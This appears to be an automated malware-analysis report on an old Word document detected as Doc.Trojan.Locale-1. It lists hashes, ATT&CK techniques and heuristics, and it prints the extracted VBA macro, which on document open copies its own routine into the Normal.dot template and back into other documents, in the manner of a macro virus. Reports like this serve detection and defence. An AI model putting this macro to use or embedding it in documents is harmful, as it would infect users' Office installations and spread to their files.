Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef34816e940025c8…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-06-02 11:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 34354f319844098057ba63e8967dce4b SHA-1: b12c3c1e33f9b1b9ae3016b8a6850f6fc31a7ec7 SHA-256: ef34816e940025c8f43c0525749610cdbe3ffaafdb6951bf69ff2249f5721422
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing a VBA macro that is triggered by the Document_Open event. This macro attempts to modify the Normal.dot template, a common technique for establishing persistence or downloading additional malicious content. The ClamAV detection of 'Doc.Trojan.Locale-1' further supports its malicious nature. The specific persistence mechanism is not fully detailed but modifying Normal.dot is strongly indicative of persistence.

Heuristics 3

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1693 bytes
SHA-256: 8cfe8b601e15587eed9e05eb7ab07962e1a841404d3dd1d974dbffcc755bc87f
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
Private Sub Document_Open()
    Set newDocument = Documents(1)
    nextRoutine = "Document_Open"
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
    Set nextDocument = NormalTemplate
    
    With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub